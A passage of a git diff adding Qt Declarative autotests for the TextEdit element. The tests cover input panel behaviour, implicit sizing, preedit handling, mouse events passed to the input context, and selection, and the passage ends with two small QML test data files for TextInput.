+ QApplication::sendEvent(&view, &event);
+ QCOMPARE(edit.text(), QString("Hello world!"));
+
+ // QTBUG-12339
+ // test that document and internal text attribute are in sync
+ QCOMPARE(editPrivate->text, QString("Hello world!"));
+}
+
+void tst_qdeclarativetextedit::openInputPanelOnClick()
+{
+ QGraphicsScene scene;
+ QGraphicsView view(&scene);
+ MyInputContext ic;
+ view.setInputContext(&ic);
+ QDeclarativeTextEdit edit;
+ QSignalSpy focusOnPressSpy(&edit, SIGNAL(activeFocusOnPressChanged(bool)));
+ edit.setText("Hello world");
+ edit.setPos(0, 0);
+ scene.addItem(&edit);
+ view.show();
+ qApp->setAutoSipEnabled(true);
+ QApplication::setActiveWindow(&view);
+ QTest::qWaitForWindowShown(&view);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(&view));
+
+ QDeclarativeItemPrivate* pri = QDeclarativeItemPrivate::get(&edit);
+ QDeclarativeTextEditPrivate *editPrivate = static_cast<QDeclarativeTextEditPrivate*>(pri);
+
+ // input panel on click
+ editPrivate->showInputPanelOnFocus = false;
+
+ QStyle::RequestSoftwareInputPanel behavior = QStyle::RequestSoftwareInputPanel(
+ view.style()->styleHint(QStyle::SH_RequestSoftwareInputPanel));
+ QTest::mouseClick(view.viewport(), Qt::LeftButton, 0, view.mapFromScene(edit.scenePos()));
+ QApplication::processEvents();
+ if (behavior == QStyle::RSIP_OnMouseClickAndAlreadyFocused) {
+ QCOMPARE(ic.openInputPanelReceived, false);
+ QTest::mouseClick(view.viewport(), Qt::LeftButton, 0, view.mapFromScene(edit.scenePos()));
+ QApplication::processEvents();
+ QCOMPARE(ic.openInputPanelReceived, true);
+ } else if (behavior == QStyle::RSIP_OnMouseClick) {
+ QCOMPARE(ic.openInputPanelReceived, true);
+ }
+ ic.openInputPanelReceived = false;
+
+ // focus should not cause input panels to open or close
+ edit.setFocus(false);
+ edit.setFocus(true);
+ edit.setFocus(false);
+ edit.setFocus(true);
+ edit.setFocus(false);
+ QApplication::processEvents();
+ QCOMPARE(ic.openInputPanelReceived, false);
+ QCOMPARE(ic.closeInputPanelReceived, false);
+}
+
+void tst_qdeclarativetextedit::openInputPanelOnFocus()
+{
+ QGraphicsScene scene;
+ QGraphicsView view(&scene);
+ MyInputContext ic;
+ view.setInputContext(&ic);
+ QDeclarativeTextEdit edit;
+ QSignalSpy focusOnPressSpy(&edit, SIGNAL(activeFocusOnPressChanged(bool)));
+ edit.setText("Hello world");
+ edit.setPos(0, 0);
+ scene.addItem(&edit);
+ view.show();
+ qApp->setAutoSipEnabled(true);
+ QApplication::setActiveWindow(&view);
+ QTest::qWaitForWindowShown(&view);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(&view));
+
+ QDeclarativeItemPrivate* pri = QDeclarativeItemPrivate::get(&edit);
+ QDeclarativeTextEditPrivate *editPrivate = static_cast<QDeclarativeTextEditPrivate*>(pri);
+ editPrivate->showInputPanelOnFocus = true;
+
+ // test default values
+ QVERIFY(edit.focusOnPress());
+ QCOMPARE(ic.openInputPanelReceived, false);
+ QCOMPARE(ic.closeInputPanelReceived, false);
+
+ // focus on press, input panel on focus
+ QTest::mousePress(view.viewport(), Qt::LeftButton, 0, view.mapFromScene(edit.scenePos()));
+ QApplication::processEvents();
+ QVERIFY(edit.hasActiveFocus());
+ QCOMPARE(ic.openInputPanelReceived, true);
+ ic.openInputPanelReceived = false;
+
+ // no events on release
+ QTest::mouseRelease(view.viewport(), Qt::LeftButton, 0, view.mapFromScene(edit.scenePos()));
+ QCOMPARE(ic.openInputPanelReceived, false);
+ ic.openInputPanelReceived = false;
+
+ // if already focused, input panel can be opened on press
+ QVERIFY(edit.hasActiveFocus());
+ QTest::mousePress(view.viewport(), Qt::LeftButton, 0, view.mapFromScene(edit.scenePos()));
+ QApplication::processEvents();
+ QCOMPARE(ic.openInputPanelReceived, true);
+ ic.openInputPanelReceived = false;
+
+ // input method should stay enabled if focus
+ // is lost to an item that also accepts inputs
+ QDeclarativeTextEdit anotherEdit;
+ scene.addItem(&anotherEdit);
+ anotherEdit.setFocus(true);
+ QApplication::processEvents();
+ QCOMPARE(ic.openInputPanelReceived, true);
+ ic.openInputPanelReceived = false;
+ QCOMPARE(view.inputContext(), (QInputContext*)&ic);
+ QVERIFY(view.testAttribute(Qt::WA_InputMethodEnabled));
+
+ // input method should be disabled if focus
+ // is lost to an item that doesn't accept inputs
+ QDeclarativeItem item;
+ scene.addItem(&item);
+ item.setFocus(true);
+ QApplication::processEvents();
+ QCOMPARE(ic.openInputPanelReceived, false);
+ QVERIFY(view.inputContext() == 0);
+ QVERIFY(!view.testAttribute(Qt::WA_InputMethodEnabled));
+
+ // no automatic input panel events should
+ // be sent if activeFocusOnPress is false
+ edit.setFocusOnPress(false);
+ QCOMPARE(focusOnPressSpy.count(),1);
+ edit.setFocusOnPress(false);
+ QCOMPARE(focusOnPressSpy.count(),1);
+ edit.setFocus(false);
+ edit.setFocus(true);
+ QTest::mousePress(view.viewport(), Qt::LeftButton, 0, view.mapFromScene(edit.scenePos()));
+ QTest::mouseRelease(view.viewport(), Qt::LeftButton, 0, view.mapFromScene(edit.scenePos()));
+ QApplication::processEvents();
+ QCOMPARE(ic.openInputPanelReceived, false);
+ QCOMPARE(ic.closeInputPanelReceived, false);
+
+ // one show input panel event should
+ // be set when openSoftwareInputPanel is called
+ edit.openSoftwareInputPanel();
+ QCOMPARE(ic.openInputPanelReceived, true);
+ QCOMPARE(ic.closeInputPanelReceived, false);
+ ic.openInputPanelReceived = false;
+
+ // one close input panel event should
+ // be sent when closeSoftwareInputPanel is called
+ edit.closeSoftwareInputPanel();
+ QCOMPARE(ic.openInputPanelReceived, false);
+ QCOMPARE(ic.closeInputPanelReceived, true);
+ ic.closeInputPanelReceived = false;
+
+ // set activeFocusOnPress back to true
+ edit.setFocusOnPress(true);
+ QCOMPARE(focusOnPressSpy.count(),2);
+ edit.setFocusOnPress(true);
+ QCOMPARE(focusOnPressSpy.count(),2);
+ edit.setFocus(false);
+ QApplication::processEvents();
+ QCOMPARE(ic.openInputPanelReceived, false);
+ QCOMPARE(ic.closeInputPanelReceived, false);
+ ic.closeInputPanelReceived = false;
+
+ // input panel should not re-open
+ // if focus has already been set
+ edit.setFocus(true);
+ QCOMPARE(ic.openInputPanelReceived, true);
+ ic.openInputPanelReceived = false;
+ edit.setFocus(true);
+ QCOMPARE(ic.openInputPanelReceived, false);
+
+ // input method should be disabled
+ // if TextEdit loses focus
+ edit.setFocus(false);
+ QApplication::processEvents();
+ QVERIFY(view.inputContext() == 0);
+ QVERIFY(!view.testAttribute(Qt::WA_InputMethodEnabled));
+
+ // input method should not be enabled
+ // if TextEdit is read only.
+ edit.setReadOnly(true);
+ ic.openInputPanelReceived = false;
+ edit.setFocus(true);
+ QApplication::processEvents();
+ QCOMPARE(ic.openInputPanelReceived, false);
+ QVERIFY(view.inputContext() == 0);
+ QVERIFY(!view.testAttribute(Qt::WA_InputMethodEnabled));
+}
+
+void tst_qdeclarativetextedit::geometrySignals()
+{
+ QDeclarativeComponent component(&engine, SRCDIR "/data/geometrySignals.qml");
+ QObject *o = component.create();
+ QVERIFY(o);
+ QCOMPARE(o->property("bindingWidth").toInt(), 400);
+ QCOMPARE(o->property("bindingHeight").toInt(), 500);
+ delete o;
+}
+
+void tst_qdeclarativetextedit::pastingRichText_QTBUG_14003()
+{
+#ifndef QT_NO_CLIPBOARD
+ QString componentStr = "import QtQuick 1.0\nTextEdit { textFormat: TextEdit.PlainText }";
+ QDeclarativeComponent component(&engine);
+ component.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeTextEdit *obj = qobject_cast<QDeclarativeTextEdit*>(component.create());
+
+ QTRY_VERIFY(obj != 0);
+ QTRY_VERIFY(obj->textFormat() == QDeclarativeTextEdit::PlainText);
+
+ QMimeData *mData = new QMimeData;
+ mData->setHtml("<font color=\"red\">Hello</font>");
+ QApplication::clipboard()->setMimeData(mData);
+
+ obj->paste();
+ QTRY_VERIFY(obj->text() == "");
+ QTRY_VERIFY(obj->textFormat() == QDeclarativeTextEdit::PlainText);
+#endif
+}
+
+void tst_qdeclarativetextedit::implicitSize_data()
+{
+ QTest::addColumn<QString>("text");
+ QTest::addColumn<QString>("wrap");
+ QTest::newRow("plain") << "The quick red fox jumped over the lazy brown dog" << "TextEdit.NoWrap";
+ QTest::newRow("richtext") << "<b>The quick red fox jumped over the lazy brown dog</b>" << "TextEdit.NoWrap";
+ QTest::newRow("plain_wrap") << "The quick red fox jumped over the lazy brown dog" << "TextEdit.Wrap";
+ QTest::newRow("richtext_wrap") << "<b>The quick red fox jumped over the lazy brown dog</b>" << "TextEdit.Wrap";
+}
+
+void tst_qdeclarativetextedit::implicitSize()
+{
+ QFETCH(QString, text);
+ QFETCH(QString, wrap);
+ QString componentStr = "import QtQuick 1.1\nTextEdit { text: \"" + text + "\"; width: 50; wrapMode: " + wrap + " }";
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeTextEdit *textObject = qobject_cast<QDeclarativeTextEdit*>(textComponent.create());
+
+ QVERIFY(textObject->width() < textObject->implicitWidth());
+ QVERIFY(textObject->height() == textObject->implicitHeight());
+
+ textObject->resetWidth();
+ QVERIFY(textObject->width() == textObject->implicitWidth());
+ QVERIFY(textObject->height() == textObject->implicitHeight());
+}
+
+void tst_qdeclarativetextedit::implicitSizePreedit_data()
+{
+ QTest::addColumn<QString>("text");
+ QTest::addColumn<QString>("wrap");
+ QTest::addColumn<bool>("wrapped");
+ QTest::newRow("plain") << "The quick red fox jumped over the lazy brown dog" << "TextEdit.NoWrap" << false;
+ QTest::newRow("plain_wrap") << "The quick red fox jumped over the lazy brown dog" << "TextEdit.Wrap" << true;
+
+}
+
+void tst_qdeclarativetextedit::implicitSizePreedit()
+{
+ QFETCH(QString, text);
+ QFETCH(QString, wrap);
+ QFETCH(bool, wrapped);
+
+ QString componentStr = "import QtQuick 1.1\nTextEdit { focus: true; width: 50; wrapMode: " + wrap + " }";
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeTextEdit *textObject = qobject_cast<QDeclarativeTextEdit*>(textComponent.create());
+
+ QGraphicsScene scene;
+ QGraphicsView view(&scene);
+ scene.addItem(textObject);
+ view.show();
+ QApplication::setActiveWindow(&view);
+ QTest::qWaitForWindowShown(&view);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(&view));
+
+ QInputMethodEvent event(text, QList<QInputMethodEvent::Attribute>());
+ QCoreApplication::sendEvent(&view, &event);
+
+ QVERIFY(textObject->width() < textObject->implicitWidth());
+ QVERIFY(textObject->height() == textObject->implicitHeight());
+ qreal wrappedHeight = textObject->height();
+
+ textObject->resetWidth();
+ QVERIFY(textObject->width() == textObject->implicitWidth());
+ QVERIFY(textObject->height() == textObject->implicitHeight());
+ QCOMPARE(textObject->height() < wrappedHeight, wrapped);
+}
+
+void tst_qdeclarativetextedit::testQtQuick11Attributes()
+{
+ QFETCH(QString, code);
+ QFETCH(QString, warning);
+ QFETCH(QString, error);
+
+ QDeclarativeEngine engine;
+ QObject *obj;
+
+ QDeclarativeComponent valid(&engine);
+ valid.setData("import QtQuick 1.1; TextEdit { " + code.toUtf8() + " }", QUrl(""));
+ obj = valid.create();
+ QVERIFY(obj);
+ QVERIFY(valid.errorString().isEmpty());
+ delete obj;
+
+ QDeclarativeComponent invalid(&engine);
+ invalid.setData("import QtQuick 1.0; TextEdit { " + code.toUtf8() + " }", QUrl(""));
+ QTest::ignoreMessage(QtWarningMsg, warning.toUtf8());
+ obj = invalid.create();
+ QCOMPARE(invalid.errorString(), error);
+ delete obj;
+}
+
+void tst_qdeclarativetextedit::testQtQuick11Attributes_data()
+{
+ QTest::addColumn<QString>("code");
+ QTest::addColumn<QString>("warning");
+ QTest::addColumn<QString>("error");
+
+ QTest::newRow("canPaste") << "property bool foo: canPaste"
+ << "<Unknown File>:1: ReferenceError: Can't find variable: canPaste"
+ << "";
+
+ QTest::newRow("lineCount") << "property int foo: lineCount"
+ << "<Unknown File>:1: ReferenceError: Can't find variable: lineCount"
+ << "";
+
+ QTest::newRow("moveCursorSelection") << "Component.onCompleted: moveCursorSelection(0, TextEdit.SelectCharacters)"
+ << "<Unknown File>:1: ReferenceError: Can't find variable: moveCursorSelection"
+ << "";
+
+ QTest::newRow("deselect") << "Component.onCompleted: deselect()"
+ << "<Unknown File>:1: ReferenceError: Can't find variable: deselect"
+ << "";
+
+ QTest::newRow("onLinkActivated") << "onLinkActivated: {}"
+ << "QDeclarativeComponent: Component is not ready"
+ << ":1 \"TextEdit.onLinkActivated\" is not available in QtQuick 1.0.\n";
+}
+
+void tst_qdeclarativetextedit::preeditMicroFocus()
+{
+ QString preeditText = "super";
+
+ QGraphicsScene scene;
+ QGraphicsView view(&scene);
+ MyInputContext ic;
+ view.setInputContext(&ic);
+ QDeclarativeTextEdit edit;
+ edit.setFocus(true);
+ scene.addItem(&edit);
+ view.show();
+ QApplication::setActiveWindow(&view);
+ QTest::qWaitForWindowShown(&view);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(&view));
+
+ QSignalSpy cursorRectangleSpy(&edit, SIGNAL(cursorRectangleChanged()));
+
+ QRect currentRect;
+ QRect previousRect = edit.inputMethodQuery(Qt::ImMicroFocus).toRect();
+
+ // Verify that the micro focus rect is positioned the same for position 0 as
+ // it would be if there was no preedit text.
+ ic.updateReceived = false;
+ ic.sendPreeditText(preeditText, 0);
+ currentRect = edit.inputMethodQuery(Qt::ImMicroFocus).toRect();
+ QCOMPARE(currentRect, previousRect);
+#if defined(Q_WS_X11) || defined(Q_WS_QWS) || defined(Q_OS_SYMBIAN)
+ QCOMPARE(ic.updateReceived, false); // The cursor position hasn't changed.
+#endif
+ QCOMPARE(cursorRectangleSpy.count(), 0);
+
+ // Verify that the micro focus rect moves to the left as the cursor position
+ // is incremented.
+ for (int i = 1; i <= 5; ++i) {
+ ic.updateReceived = false;
+ ic.sendPreeditText(preeditText, i);
+ currentRect = edit.inputMethodQuery(Qt::ImMicroFocus).toRect();
+ QVERIFY(previousRect.left() < currentRect.left());
+#if defined(Q_WS_X11) || defined(Q_WS_QWS) || defined(Q_OS_SYMBIAN)
+ QCOMPARE(ic.updateReceived, true);
+#endif
+ QVERIFY(cursorRectangleSpy.count() > 0);
+ cursorRectangleSpy.clear();
+ previousRect = currentRect;
+ }
+
+ // Verify that if there is no preedit cursor then the micro focus rect is the
+ // same as it would be if it were positioned at the end of the preedit text.
+ ic.sendPreeditText(preeditText, 0);
+ ic.updateReceived = false;
+ ic.sendEvent(QInputMethodEvent(preeditText, QList<QInputMethodEvent::Attribute>()));
+ currentRect = edit.inputMethodQuery(Qt::ImMicroFocus).toRect();
+ QCOMPARE(currentRect, previousRect);
+#if defined(Q_WS_X11) || defined(Q_WS_QWS) || defined(Q_OS_SYMBIAN)
+ QCOMPARE(ic.updateReceived, true);
+#endif
+ QVERIFY(cursorRectangleSpy.count() > 0);
+}
+
+void tst_qdeclarativetextedit::inputContextMouseHandler()
+{
+ QString text = "supercalifragisiticexpialidocious!";
+
+ QGraphicsScene scene;
+ QGraphicsView view(&scene);
+ MyInputContext ic;
+ view.setInputContext(&ic);
+ QDeclarativeTextEdit edit;
+ edit.setPos(0, 0);
+ edit.setWidth(200);
+ edit.setText(text.mid(0, 12));
+ edit.setPos(0, 0);
+ edit.setCursorPosition(12);
+ edit.setFocus(true);
+ scene.addItem(&edit);
+ view.show();
+ QApplication::setActiveWindow(&view);
+ QTest::qWaitForWindowShown(&view);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(&view));
+ view.setFocus();
+
+ QFontMetricsF fm(edit.font());
+ const qreal y = fm.height() / 2;
+
+ QPoint position2 = view.mapFromScene(edit.mapToScene(QPointF(fm.width(text.mid(0, 2)), y)));
+ QPoint position8 = view.mapFromScene(edit.mapToScene(QPointF(fm.width(text.mid(0, 8)), y)));
+ QPoint position20 = view.mapFromScene(edit.mapToScene(QPointF(fm.width(text.mid(0, 20)), y)));
+ QPoint position27 = view.mapFromScene(edit.mapToScene(QPointF(fm.width(text.mid(0, 27)), y)));
+ QPoint globalPosition2 = view.viewport()->mapToGlobal(position2);
+ QPoint globalposition8 = view.viewport()->mapToGlobal(position8);
+ QPoint globalposition20 = view.viewport()->mapToGlobal(position20);
+ QPoint globalposition27 = view.viewport()->mapToGlobal(position27);
+
+ ic.sendEvent(QInputMethodEvent(text.mid(12), QList<QInputMethodEvent::Attribute>()));
+
+ QTest::mouseDClick(view.viewport(), Qt::LeftButton, Qt::NoModifier, position2);
+ QCOMPARE(ic.eventType, QEvent::MouseButtonDblClick);
+ QCOMPARE(ic.eventPosition, position2);
+ QCOMPARE(ic.eventGlobalPosition, globalPosition2);
+ QCOMPARE(ic.eventButton, Qt::LeftButton);
+ QCOMPARE(ic.eventModifiers, Qt::NoModifier);
+ QVERIFY(ic.cursor < 0);
+ ic.eventType = QEvent::None;
+
+ QTest::mousePress(view.viewport(), Qt::LeftButton, Qt::NoModifier, position2);
+ QCOMPARE(ic.eventType, QEvent::MouseButtonPress);
+ QCOMPARE(ic.eventPosition, position2);
+ QCOMPARE(ic.eventGlobalPosition, globalPosition2);
+ QCOMPARE(ic.eventButton, Qt::LeftButton);
+ QCOMPARE(ic.eventModifiers, Qt::NoModifier);
+ QVERIFY(ic.cursor < 0);
+ ic.eventType = QEvent::None;
+
+ { QMouseEvent mv(QEvent::MouseMove, position8, globalposition8, Qt::LeftButton, Qt::LeftButton,Qt::NoModifier);
+ QApplication::sendEvent(view.viewport(), &mv); }
+ QCOMPARE(ic.eventType, QEvent::None);
+
+ { QMouseEvent mv(QEvent::MouseMove, position27, globalposition27, Qt::LeftButton, Qt::LeftButton,Qt::NoModifier);
+ QApplication::sendEvent(view.viewport(), &mv); }
+ QCOMPARE(ic.eventType, QEvent::MouseMove);
+ QCOMPARE(ic.eventPosition, position27);
+ QCOMPARE(ic.eventGlobalPosition, globalposition27);
+ QCOMPARE(ic.eventButton, Qt::LeftButton);
+ QCOMPARE(ic.eventModifiers, Qt::NoModifier);
+ QVERIFY(ic.cursor >= 14 && ic.cursor <= 16); // 15 is expected but some platforms may be off by one.
+ ic.eventType = QEvent::None;
+
+ QTest::mouseRelease(view.viewport(), Qt::LeftButton, Qt::NoModifier, position27);
+ QCOMPARE(ic.eventType, QEvent::MouseButtonRelease);
+ QCOMPARE(ic.eventPosition, position27);
+ QCOMPARE(ic.eventGlobalPosition, globalposition27);
+ QCOMPARE(ic.eventButton, Qt::LeftButton);
+ QCOMPARE(ic.eventModifiers, Qt::NoModifier);
+ QVERIFY(ic.cursor >= 14 && ic.cursor <= 16);
+ ic.eventType = QEvent::None;
+
+ // And in the other direction.
+ QTest::mouseDClick(view.viewport(), Qt::LeftButton, Qt::ControlModifier, position27);
+ QCOMPARE(ic.eventType, QEvent::MouseButtonDblClick);
+ QCOMPARE(ic.eventPosition, position27);
+ QCOMPARE(ic.eventGlobalPosition, globalposition27);
+ QCOMPARE(ic.eventButton, Qt::LeftButton);
+ QCOMPARE(ic.eventModifiers, Qt::ControlModifier);
+ QVERIFY(ic.cursor >= 14 && ic.cursor <= 16);
+ ic.eventType = QEvent::None;
+
+ QTest::mousePress(view.viewport(), Qt::RightButton, Qt::ControlModifier, position27);
+ QCOMPARE(ic.eventType, QEvent::MouseButtonPress);
+ QCOMPARE(ic.eventPosition, position27);
+ QCOMPARE(ic.eventGlobalPosition, globalposition27);
+ QCOMPARE(ic.eventButton, Qt::RightButton);
+ QCOMPARE(ic.eventModifiers, Qt::ControlModifier);
+ QVERIFY(ic.cursor >= 14 && ic.cursor <= 16);
+ ic.eventType = QEvent::None;
+
+ { QMouseEvent mv(QEvent::MouseMove, position20, globalposition20, Qt::RightButton, Qt::RightButton,Qt::ControlModifier);
+ QApplication::sendEvent(view.viewport(), &mv); }
+ QCOMPARE(ic.eventType, QEvent::MouseMove);
+ QCOMPARE(ic.eventPosition, position20);
+ QCOMPARE(ic.eventGlobalPosition, globalposition20);
+ QCOMPARE(ic.eventButton, Qt::RightButton);
+ QCOMPARE(ic.eventModifiers, Qt::ControlModifier);
+ QVERIFY(ic.cursor >= 7 && ic.cursor <= 9);
+ ic.eventType = QEvent::None;
+
+ { QMouseEvent mv(QEvent::MouseMove, position2, globalPosition2, Qt::RightButton, Qt::RightButton,Qt::ControlModifier);
+ QApplication::sendEvent(view.viewport(), &mv); }
+ QCOMPARE(ic.eventType, QEvent::None);
+
+ QTest::mouseRelease(view.viewport(), Qt::RightButton, Qt::ControlModifier, position2);
+ QCOMPARE(ic.eventType, QEvent::MouseButtonRelease);
+ QCOMPARE(ic.eventPosition, position2);
+ QCOMPARE(ic.eventGlobalPosition, globalPosition2);
+ QCOMPARE(ic.eventButton, Qt::RightButton);
+ QCOMPARE(ic.eventModifiers, Qt::ControlModifier);
+ QVERIFY(ic.cursor < 0);
+ ic.eventType = QEvent::None;
+}
+
+void tst_qdeclarativetextedit::inputMethodComposing()
+{
+ QString text = "supercalifragisiticexpialidocious!";
+
+ QGraphicsScene scene;
+ QGraphicsView view(&scene);
+ MyInputContext ic;
+ view.setInputContext(&ic);
+ QDeclarativeTextEdit edit;
+ edit.setWidth(200);
+ edit.setText(text.mid(0, 12));
+ edit.setCursorPosition(12);
+ edit.setPos(0, 0);
+ edit.setFocus(true);
+ scene.addItem(&edit);
+ view.show();
+ QApplication::setActiveWindow(&view);
+ QTest::qWaitForWindowShown(&view);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(&view));
+
+ QSignalSpy spy(&edit, SIGNAL(inputMethodComposingChanged()));
+
+ QCOMPARE(edit.isInputMethodComposing(), false);
+
+ ic.sendEvent(QInputMethodEvent(text.mid(3), QList<QInputMethodEvent::Attribute>()));
+ QCOMPARE(edit.isInputMethodComposing(), true);
+ QCOMPARE(spy.count(), 1);
+
+ ic.sendEvent(QInputMethodEvent(text.mid(12), QList<QInputMethodEvent::Attribute>()));
+ QCOMPARE(edit.isInputMethodComposing(), true);
+ QCOMPARE(spy.count(), 1);
+
+ ic.sendEvent(QInputMethodEvent());
+ QCOMPARE(edit.isInputMethodComposing(), false);
+ QCOMPARE(spy.count(), 2);
+}
+
+void tst_qdeclarativetextedit::cursorRectangleSize()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/CursorRect.qml");
+ QVERIFY(canvas->rootObject() != 0);
+ canvas->show();
+ canvas->setFocus();
+ QApplication::setActiveWindow(canvas);
+ QTest::qWaitForWindowShown(canvas);
+
+ QDeclarativeTextEdit *textEdit = qobject_cast<QDeclarativeTextEdit *>(canvas->rootObject());
+ QVERIFY(textEdit != 0);
+ textEdit->setFocus(Qt::OtherFocusReason);
+ QRectF cursorRect = textEdit->positionToRectangle(textEdit->cursorPosition());
+ QRectF microFocusFromScene = canvas->scene()->inputMethodQuery(Qt::ImMicroFocus).toRectF();
+ QRectF microFocusFromApp= QApplication::focusWidget()->inputMethodQuery(Qt::ImMicroFocus).toRectF();
+
+ QCOMPARE(microFocusFromScene.size(), cursorRect.size());
+ QCOMPARE(microFocusFromApp.size(), cursorRect.size());
+}
+
+void tst_qdeclarativetextedit::deselect()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/CursorRect.qml");
+ QVERIFY(canvas->rootObject() != 0);
+ canvas->show();
+ canvas->setFocus();
+ QApplication::setActiveWindow(canvas);
+ QTest::qWaitForWindowShown(canvas);
+
+ QDeclarativeTextEdit *textEdit = qobject_cast<QDeclarativeTextEdit *>(canvas->rootObject());
+ QVERIFY(textEdit != 0);
+
+ textEdit->setText("Select");
+
+ QSignalSpy selectionStartSpy(textEdit, SIGNAL(selectionStartChanged()));
+ QSignalSpy selectionEndSpy(textEdit, SIGNAL(selectionEndChanged()));
+ QSignalSpy selectionSpy(textEdit, SIGNAL(selectionChanged()));
+
+ textEdit->select(5, 6);
+
+ QCOMPARE(selectionStartSpy.count(), 1);
+ QCOMPARE(selectionEndSpy.count(), 1);
+ QCOMPARE(selectionSpy.count(), 1);
+ QCOMPARE(textEdit->selectionStart(), 5);
+ QCOMPARE(textEdit->selectionEnd(), 6);
+ QCOMPARE(textEdit->selectedText(), QLatin1String("t"));
+ QCOMPARE(textEdit->cursorPosition(), 6);
+
+ textEdit->deselect();
+
+ QCOMPARE(selectionStartSpy.count(), 2);
+ QCOMPARE(selectionEndSpy.count(), 1);
+ QCOMPARE(selectionSpy.count(), 2);
+ QCOMPARE(textEdit->selectionStart(), textEdit->cursorPosition());
+ QCOMPARE(textEdit->selectionEnd(), textEdit->cursorPosition());
+ QCOMPARE(textEdit->selectedText(), QLatin1String(""));
+ QCOMPARE(textEdit->cursorPosition(), 6);
+
+ textEdit->select(5, 6);
+
+ QCOMPARE(selectionStartSpy.count(), 3);
+ QCOMPARE(selectionEndSpy.count(), 1);
+ QCOMPARE(selectionSpy.count(), 3);
+ QCOMPARE(textEdit->selectionStart(), 5);
+ QCOMPARE(textEdit->selectionEnd(), 6);
+ QCOMPARE(textEdit->selectedText(), QLatin1String("t"));
+ QCOMPARE(textEdit->cursorPosition(), 6);
+
+ QKeyEvent leftArrowPress(QEvent::KeyPress, Qt::Key_Left, Qt::NoModifier);
+ QKeyEvent leftArrowRelese(QEvent::KeyRelease, Qt::Key_Left, Qt::NoModifier);
+ QApplication::sendEvent(canvas, &leftArrowPress);
+ QApplication::sendEvent(canvas, &leftArrowRelese);
+
+ QCOMPARE(selectionStartSpy.count(), 3);
+ QCOMPARE(selectionEndSpy.count(), 2);
+ QCOMPARE(selectionSpy.count(), 4);
+ QCOMPARE(textEdit->selectionStart(), textEdit->cursorPosition());
+ QCOMPARE(textEdit->selectionEnd(), textEdit->cursorPosition());
+ QCOMPARE(textEdit->selectedText(), QLatin1String(""));
+ QCOMPARE(textEdit->cursorPosition(), 5);
+
+ textEdit->select(5, 6);
+
+ QCOMPARE(selectionStartSpy.count(), 3);
+ QCOMPARE(selectionEndSpy.count(), 3);
+ QCOMPARE(selectionSpy.count(), 5);
+ QCOMPARE(textEdit->selectionStart(), 5);
+ QCOMPARE(textEdit->selectionEnd(), 6);
+ QCOMPARE(textEdit->selectedText(), QLatin1String("t"));
+ QCOMPARE(textEdit->cursorPosition(), 6);
+
+ QList<QInputMethodEvent::Attribute> attributes;
+ attributes << QInputMethodEvent::Attribute(QInputMethodEvent::Selection, 0, 0, QVariant());
+ QInputMethodEvent event(QLatin1String(""), attributes);
+ QApplication::sendEvent(canvas, &event);
+
+ QCOMPARE(selectionStartSpy.count(), 4);
+ QCOMPARE(selectionEndSpy.count(), 4);
+ QCOMPARE(selectionSpy.count(), 6);
+ QCOMPARE(textEdit->selectionStart(), textEdit->cursorPosition());
+ QCOMPARE(textEdit->selectionEnd(), textEdit->cursorPosition());
+ QCOMPARE(textEdit->selectedText(), QLatin1String(""));
+ QCOMPARE(textEdit->cursorPosition(), 0);
+
+ textEdit->setCursorPosition(1);
+
+ QCOMPARE(selectionStartSpy.count(), 5);
+ QCOMPARE(selectionEndSpy.count(), 5);
+ QCOMPARE(selectionSpy.count(), 6);
+
+ QKeyEvent leftArrowShiftPress(QEvent::KeyPress, Qt::Key_Left, Qt::ShiftModifier);
+ QKeyEvent leftArrowShiftRelese(QEvent::KeyRelease, Qt::Key_Left, Qt::ShiftModifier);
+ QApplication::sendEvent(canvas, &leftArrowShiftPress);
+ QApplication::sendEvent(canvas, &leftArrowShiftRelese);
+
+ QCOMPARE(selectionStartSpy.count(), 6);
+ QCOMPARE(selectionEndSpy.count(), 5);
+ QCOMPARE(selectionSpy.count(), 7);
+ QCOMPARE(textEdit->selectionStart(), 0);
+ QCOMPARE(textEdit->selectionEnd(), 1);
+ QCOMPARE(textEdit->selectedText(), QLatin1String("S"));
+ QCOMPARE(textEdit->cursorPosition(), 0);
+
+ QApplication::sendEvent(canvas, &event);
+
+ QCOMPARE(selectionStartSpy.count(), 6);
+ QCOMPARE(selectionEndSpy.count(), 6);
+ QCOMPARE(selectionSpy.count(), 8);
+ QCOMPARE(textEdit->selectionStart(), textEdit->cursorPosition());
+ QCOMPARE(textEdit->selectionEnd(), textEdit->cursorPosition());
+ QCOMPARE(textEdit->selectedText(), QLatin1String(""));
+ QCOMPARE(textEdit->cursorPosition(), 0);
+}
+QTEST_MAIN(tst_qdeclarativetextedit)
+
+#include "tst_qdeclarativetextedit.moc"
diff --git a/tests/auto/declarative/qdeclarativetextinput/data/cursorTest.qml b/tests/auto/declarative/qdeclarativetextinput/data/cursorTest.qml
new file mode 100644
index 00000000..73085c17
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextinput/data/cursorTest.qml
@@ -0,0 +1,8 @@
+import QtQuick 1.0
+
+Rectangle { width: 300; height: 300; color: "white"
+ TextInput { text: "Hello world!"; id: textInputObject; objectName: "textInputObject"
+ resources: [ Component { id:cursor; Item { id:cursorInstance; objectName: "cursorInstance";} } ]
+ cursorDelegate: cursor
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativetextinput/data/echoMode.qml b/tests/auto/declarative/qdeclarativetextinput/data/echoMode.qml
new file mode 100644
index 00000000..0320872b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextinput/data/echoMode.qml
@@ -0,0 +1,11 @@
+import QtQuick 1.0
+
+Rectangle {
+ property QtObject myInput: input
+
+ width: 400; height: 200; color: "green"
+
+ TextInput { id: input; focus: true
+ text: "ABCDefgh"
+ }
+}
